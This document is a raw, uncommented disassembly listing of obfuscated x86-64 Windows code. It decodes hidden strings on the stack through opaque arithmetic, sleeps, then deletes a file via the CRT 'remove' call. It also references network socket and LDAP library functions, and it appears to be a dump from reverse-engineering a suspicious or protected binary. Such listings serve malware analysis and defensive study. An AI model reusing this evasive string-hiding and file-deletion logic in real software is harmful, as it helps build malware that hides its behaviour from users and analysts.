jmp 0x1400f6c45
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov edi, 0x33
sub dil, al
add dil, dil
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f62c3
add r9b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f62c3
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x1400f6cd2
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x1400f6d0a
sub r9b, 0x32
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f6d0d
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f6d40
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x1400f6d6a
add r9b, 0x58
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x68
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
sub r9b, 0x35
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x73
mov byte [rbp + r11 - 0x80], dil
inc r11
jmp 0x1400f62c3
lea ecx, [r9 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
cmp r8, 6
jb 0x1400f671b
lea ecx, [r9 - 0x2a]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400f6c45
lea ecx, [r9 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
cmp rbx, 0x20
jae 0x1400f6b88
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x1400f6aac
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6e
jmp 0x1400f673e
lea ecx, [r9 + 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x53
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x1400f6ba3
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x1400f69fd
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x1400f677a
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
jmp 0x1400f6d6a
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x1400f6d40
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f6d0d
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f6d0a
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400f6cd2
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
dec r11
inc r11
jmp 0x1400f62c3
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f62c3
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f6c45
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400f6946
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x1400f67c2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f697e
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f69a4
add r9b, 0xc
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x54
jmp 0x1400f6d6a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f69cd
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f6d0a
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400f67c2
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
dec r11
inc r11
jmp 0x1400f62c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f6a21
lea ecx, [r9 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
jmp 0x1400f6c45
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f6a4d
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x23
dec r11
inc r11
jmp 0x1400f62c3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f6a73
sub r9b, 0x61
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x59
jmp 0x1400f6d0a
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400f677a
sub r9b, 0x19
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x51
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f6ae1
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f6b09
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f6d40
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f6b2f
sub r9b, 0x16
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x66
jmp 0x1400f6d0d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f6b55
sub r9b, 0x44
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x24
jmp 0x1400f6d0a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f673e
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f62c3
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
jmp 0x1400f6ccf
lea ecx, [r9 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x56]
jmp 0x1400f6d40
lea ecx, [r9 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x1400f6d40
add r9b, 0x37
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x7f
jmp 0x1400f6d0a
lea ecx, [r9 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3d
jmp 0x1400f6cd2
sub r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
dec r11
inc r11
jmp 0x1400f62c3
lea ecx, [r9 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
sub r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x39
add r9b, r10b
mov byte [rbp + r11 - 0x80], r9b
inc r8
dec r11
inc r11
jmp 0x1400f62c3
lea ecx, [r11 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
inc r8
dec r11
inc r11
jmp 0x1400f62c3
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
dec r11
inc r11
jmp 0x1400f62c3
movzx r9d, r11b
lea edx, [r9 - 0x2b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x2d
add dil, dl
sub r9b, 0x6f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 9
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 - 0x80], r10b
jmp 0x1400f6d0a
lea ecx, [r11 + 3]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x15
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f62c3
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x67
add dil, cl
movzx r9d, r11b
add r9b, 0x63
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x4b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 - 0x80], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x14
add cl, r10b
mov byte [rbp + r11 - 0x80], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x1d
movzx eax, byte [rbp + r11 - 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f62c3
add r9b, 0xd
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5b
jmp 0x1400f62c0
add r9b, 0x3b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x63
jmp 0x1400f62a5
lea rdx, [rbp + 0x17df40c]
jmp 0x1400f6e1e
lea rdx, [rbp + 0x9af6f5]
jmp 0x1400f6e1e
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1a0]
call fcn.140046ad0
mov rcx, rax
call fcn.1400f2770
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x50], 0x1a10f3eb
mov dword [rsp + 0x54], 0x3e0c0305
mov dword [rsp + 0x58], 0x26280007
mov dword [rsp + 0x5c], 0x3c04040d
mov dword [rsp + 0x60], 0x27cac835
mov dword [rsp + 0x64], 0x15370f3e
mov dword [rsp + 0x68], 0x3f111325
mov dword [rsp + 0x6c], 0x27282629
mov dword [rsp + 0x70], 0x28e61b2d
mov word [rsp + 0x74], 0x2a1a
mov byte [rsp + 0x76], 0x90
xor eax, eax
mov qword [rsp + 0x77], rax
mov byte [rsp + 0x7f], al
movabs rsi, 0xfe2f92df1337599
movabs r15, 0x6f34d0419868372f
movabs r14, 0x2fa8eb89d39a60cb
movzx edi, byte [rbp + 0x1f0]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x30
jae 0x1400f7987
movzx r10d, byte [rsp + r11 + 0x50]
mov edx, r10d
cmp rbx, r11
ja 0x1400f797e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f6f11
lea rdi, [r11 + rsi]
movzx eax, dl
and al, dil
add al, al
sub dil, al
sub dil, 0x2f
add dil, r10b
jmp 0x1400f6f3e
je 0x1400f7914
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f7890
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f783b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f77f7
movzx r9d, r11b
cmp r8, r11
ja 0x1400f7975
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400f6f6c
lea ecx, [r9 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
jmp 0x1400f6fb0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f77df
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f77b9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f7796
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f7779
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400f774d
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400f74f7
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400f74dc
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400f74b3
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400f748d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400f7472
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400f7452
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400f7435
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400f741a
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400f73fa
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400f73ce
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x61]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400f7958
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400f793b
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400f7192
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400f7177
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400f715c
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400f7385
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400f733d
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400f7300
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400f72db
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 8]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400f72ac
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400f728f
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400f7270
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400f7253
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400f7236
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400f7217
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400f71f4
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400f71ce
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400f71af
lea rbx, [r8 + 6]
lea r8, [rbx + 0x3e8]
jmp 0x1400f6fc0
lea ecx, [r9 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
jmp 0x1400f6fb0
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x1400f6f42
sub r9b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x37
jmp 0x1400f6ee7
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f7811
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
inc r8
dec r11
inc r11
jmp 0x1400f6ed4
add r9b, 4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1c
dec r11
inc r11
jmp 0x1400f6ed4
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f7855
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x1400f7874
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
jmp 0x1400f7877
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f78aa
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x1400f78d3
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
sub r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
mov byte [rsp + r11 + 0x50], dil
inc r11
jmp 0x1400f6ed4
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
cmp r8, 0x200
jb 0x1400f72f3
lea ecx, [r9 - 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x74]
jmp 0x1400f7811
lea ecx, [r9 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
cmp rbx, 0x7a
jae 0x1400f7719
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x1400f766a
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
jmp 0x1400f7316
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x1400f7737
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400f75c9
lea ecx, [r9 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x33
jmp 0x1400f7353
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f78d3
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x1400f78aa
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x1400f7877
sub r9b, 0x7a
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f7874
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x1400f7855
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x1400f6ed4
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x1400f6ed4
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x1400f7811
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x1400f751b
lea ecx, [r9 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x1400f739b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f7553
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f7577
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x1400f78aa
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f759d
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
jmp 0x1400f7874
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f739b
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400f7855
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f75ed
lea ecx, [r9 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6f
jmp 0x1400f7811
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f761c
sub r9b, 0x27
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x11
inc r8
dec r11
inc r11
jmp 0x1400f6ed4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f7640
lea ecx, [r9 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x55
jmp 0x1400f7855
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f7353
add r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 9
jmp 0x1400f7874
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f769f
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f76c3
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x1400f78aa
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f76ec
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f7877
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f7316
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f7874
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
add dil, r10b
jmp 0x1400f7855
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x76]
jmp 0x1400f78aa
add r9b, 0x4f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x29
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
sub r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xf
jmp 0x1400f7877
add r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xb
dec r11
inc r11
jmp 0x1400f6ed4
sub r9b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x69
inc r8
dec r11
inc r11
jmp 0x1400f6ed4
lea ecx, [r9 - 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x39
jmp 0x1400f7811
movzx r9d, r11b
lea ecx, [r9 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
sub r9b, 0x71
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x17
add r9b, r10b
mov byte [rsp + r11 + 0x50], r9b
inc r8
dec r11
inc r11
jmp 0x1400f6ed4
movzx r9d, r11b
lea ecx, [r9 - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x63
sub r9b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x47
add r9b, dil
add r9b, r10b
mov byte [rsp + r11 + 0x50], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400f6ed4
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x49
add dil, cl
movzx r9d, r11b
sub r9b, 0xd
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x5b
add r9b, r10b
movzx eax, r9b
mov byte [rsp + r11 + 0x50], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rsp + r11 + 0x50], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x73
movzx eax, byte [rsp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x1400f6ed4
add r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6b
jmp 0x1400f6ed1
add r9b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xd
jmp 0x1400f6ec1
lea rcx, [rbp + 0x153021c]
jmp 0x1400f798c
lea rcx, [rbp + 0x8677b5]
jmp 0x1400f798c
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0xc0], 0x43ee31b
mov dword [rbp + 0xc4], 0x100a130d
mov dword [rbp + 0xc8], 0x3006121f
mov dword [rbp + 0xcc], 0x2121e15
mov dword [rbp + 0xd0], 0xfd8da1d
mov dword [rbp + 0xd4], 0x91f0718
mov dword [rbp + 0xd8], 0x1701031d
mov dword [rbp + 0xdc], 0x30d040f
mov dword [rbp + 0xe0], 0x8cc0c15
mov word [rbp + 0xe4], 0x767d
mov byte [rbp + 0xe6], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe7], xmm0
mov dword [rbp + 0xf7], eax
movabs r14, 0xa0af1b0ed141ef9c
